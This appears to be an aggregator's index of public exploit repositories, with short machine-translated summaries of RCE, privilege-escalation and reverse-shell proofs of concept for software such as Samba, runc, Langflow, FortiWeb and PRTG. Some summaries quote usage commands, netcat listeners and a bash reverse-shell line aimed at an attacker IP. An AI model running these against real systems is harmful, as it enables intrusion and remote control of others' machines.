CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください。 ローカル仮想マシン Docker コンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: root@kitploit: git clone cd プロジェクトは以下のようにPythonを使用します 仮想環境を作成 python -m venv venv 仮想環境を有効化 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 リバースシェル Python3サポート 依存関係 Impacket python3 バージョン Netcat Msfvenom 使用方法 root@kitploit: git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1...

CVE-2017-9544

CVE-2017-9544 Easy Chat Server CVE-2017-9544 の SEH ベースのバッファオーバーフロー用エクスプロイト 以下に基づく: pwntools msfvenom / reversetcp ペイロード ropper x64dbg 脆弱なアプリは https://www.exploit-db.com/exploits/42155 で入手できます。 セットアップ 被害者 IP を 192.168.15.100 に設定し、Easy Chat Server を起動します。 攻撃者 IP を 192.168.15.101 に設定し、python main.py...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC PoC脚本名称： poc.py 这是一个针对CVE-2025-1302的概念验证漏洞利用脚本，该漏洞影响jsonpath-plus库中的RCE漏洞。当对存在漏洞的服务端点运行时，该脚本尝试通过JSONPath负载触发远程代码执行，并建立反向Shell连接到攻击者。 功能特性 灵活的HTTP方法 ：通过 --method 或 --no-fallback 标志支持 POST 、GET 或 AUTO （POST 并回退到 GET）。 自定义负载 ：从文件中加载一个或多个 JSONPath RCE 负载模板，支持 ip 和...

CVE-2026-15410

cve-id ⚡ 简单用法 仅在安全且授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 授权的渗透测试环境 示例设置： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

aquos-r6-ghostlock

AQUOS R6 GhostLock 一時 root Sharp AQUOS R6 向けの GhostLock CVE-2026-43499 のデバイス固有 Linux 5.4 ポート。検証済みのターゲットは SoftBank A101SH Judau で、Android 11 ビルド S0029 / 01.00.06、カーネル 5.4.61-qgki が動作している。 ghostlock54 ターゲットは実際の UID/GID 0 を取得し、SELinux を permissive に変更し、既存の ADB トランスポートを介して直接インタラクティブな root シェルを開く。TCP...

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE エクスプロイトスキャナー CVE-2025-3248 このPythonベースのスキャナーは、Langflowインスタンスにおける認証なしのリモートコード実行（RCE） 脆弱性をCVE-2025-3248 を介して自動検出します。これは、/api/v1/validate/codeエンドポイントを悪用して任意のシェルコマンドを実行する概念実証ペイロードを使用します。 🚨 CVEの詳細 CVE : CVE-2025-3248 影響 : 認証なしのリモートコード実行 コンポーネント : Langflow API /api/v1/validate/code...

CVE-2021-21315

Rust言語で書かれたCVE-2021-21315のエクスプロイトコード 私はRust初心者なので、このコードはRustLangの練習の一環でした はい！！リバースシェルを取得しよう!!!!!!!!!! !教育または研究目的のみ ビルド root@kitploit: cargo build 使い方 root@kitploit: ./exploit ./exploit http://target.com/api/osinfo?param 172.17.2.1 1234 リバースシェルをキャッチするためのリスナーにはNetcatが必要 root@kitploit: nc -nlvp nc...

CVE-2007-2447

CVE-2007-2447 Samba エクスプロイト CVE-2007-2447 エクスプロイトのスタンドアロン Rust 実装で、Samba smbd 3.0.20-Debian を標的とします。 脆弱性の説明 CVE-2007-2447 は、Samba バージョン 3.0.0 から 3.0.25rc3 におけるコマンドインジェクションの脆弱性です。この脆弱性は SamrChangePassword 関数に存在し、ユーザー入力を適切にサニタイズしないため、攻撃者は SMB 認証中にユーザー名フィールド内のシェルメタキャラクタを介して任意のコマンドを実行できます。 前提条件 システムに...

rwsploit

Oracle Reports rwservlet スキャナー ⚠️ 許可された用途のみ。所有しているシステム、または明示的な書面によるテスト許可を得ているシステムに対してのみこのツールを実行してください。不正使用は違法です。 Oracle Reports Server（rwservlet）に焦点を当てたエクスプロイトスキャナーで、CVE-2012-3152 および CVE-2012-3153 を狙います。影響を受けるのは 11g 未満のバージョンです。単一 IP、CIDR 範囲、またはターゲットリストに対して、検出、LFI ファイル読み取り、SSRF テスト、JSP...

CVE-2020-11108-PoC

CVE-2020-11108-PoC このリポジトリには2つのPoCがあります。cve-2020-11108-rce.py を実行すると、www-data ユーザーとしてシェルが取得できます。root-cve-2020-11108-rce.py を実行すると、シェルを取得し、権限を root に昇格させます。注意: この操作は破壊的です。teleporter.php を上書きする必要があるためです。 詳しい説明/レポートについては、こちらのブログ記事をご覧ください。...

CVE-2021-31630

OpenPLC WebServer v3 - 認証済みRCE CVE-2021-31630 このエクスプロイトは、Fellipe Oliveira によって作成された Exploit-DB のエクスプロイトに基づいています。 まず、認証する 悪意のあるCファイルをアップロードする コンパイルする PLCを起動する（リバースシェルを開始する） PLCを停止する（実行する必要はありません。リバースシェルはすでに開始されています） root@kitploit: └─ python3 customexploit.py --url http://10.10.11.7:8080 --username...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE このリポジトリには、Nostromo Web Server 1.9.6におけるCVE-2019-16278のエクスプロイトが含まれており、ディレクトリトラバーサルの脆弱性を介してリモートコード実行を可能にします。このスクリプトはpwntoolsを使用してリバースシェルを確立します。教育目的および許可されたテスト目的のみで使用してください。 Requirements Python 3.x pwntools ライブラリ pwntools をインストールするには、次を使用します: root@kitploit: pip3...

CVE-2025-52970

CVE-2025-52970 FortiWeb 인증 우회에서 원격 코드 실행까지의 익스플로잇 기능 대화형 셸을 추가하여 원격 코드 실행을 가능하도록 무기화됨 사용법 root@kitploit: python CVE-2025-52970.py -t target.com 데모 참조 https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass 면책 조항 이 개념 증명은 교육 목적으로만 제공되며, 악용에 대한 책임은 지지 않습니다...

CVE-2025-27590

CVE-2025-27590 - PoCエクスプロイト（マルチパートフォームアップロードを介したコマンドインジェクション） 📌 説明 これはCVE-2025-27590 の概念実証（PoC）エクスプロイトです。この脆弱性は、適切なサニタイゼーションなしでマルチパートファイルアップロードを処理するWebアプリケーションに影響を与えるコマンドインジェクションです。この脆弱性により、リモートの攻撃者が悪意のあるフォームデータペイロードを細工して任意のシェルコマンドを実行できます。 🧠 脆弱性の概要 タイプ : コマンドインジェクション ベクター : HTTP multipart/form-da...

CVE-2024-54887-PoC

CVE-2024-54887 TypeScript 概念验证 此仓库包含对公开的 CVE-2024-54887 （TP-Link TL-WR940N v3/v4 认证远程代码执行）Python 概念验证的 TypeScript ts-node 重写版本。 前提条件 Node.js 20 或更高版本 安装 root@kitploit: npm install 使用方法 root@kitploit: npx ts-node .\cve-2024-54887.ts --ip 可选凭据： root@kitploit: npx ts-node .\cve-2024-54887.ts --ip...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.20 CVE-2007-2447 エクスプロイト root@kitploit: python3 smb3.0.20exp.py -lh localhost -lp local port -t target Netcat リスナーを作成する root@kitploit: nc -nlvp 4444 スクリプトを実行する root@kitploit: python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...

Onionscan

on洋葱扫描部署 注意！本仓库是 https://github.com/s-rah/onionscan 的修补版本，设计用于从 hunchly 的谷歌云 shell 运行，见 https://github.com/hunchly/funchly/tree/main/onionscan，该版本被用作基线并进行了修改，以便同时可以部署在本地实例上。 谷歌云 shell 上的 on洋葱扫描 1. 要获得免费云 shell 账号：https://console.cloud.google.com/getting-started?pli=1 2. 打开你的云 shell，点击此处： 3. 在你的云...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 使い方 : このマシンは CVE-2019-5736 に対して脆弱です。Runc exploit CVE-2019-5736 の手順に従ってください。 main.go ファイルをダウンロードし、ファイル内のペイロードを次のように変更します: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" その後、以下を実行します: root@kitploit: go build main.go HTTP...

WHS3_vulhub

CVE-2017-8386: git-shell サンドボックス回避による RCE PoC 정수진@suz1n 概要 Git-shell は SSH を介して制限された git コマンドのみを許可する環境を提供します。しかし、特定のバージョンの git-shell（2.12.2 など）では、less コマンドを悪用してサンドボックスを回避し、システムコマンドを実行できる脆弱性（CVE-2017-8386）が存在します。 本レポートは、当該脆弱性に対する PoC を実施し、その過程をまとめたものです。 環境構築 使用ツールとバージョン Docker: 24.0.7...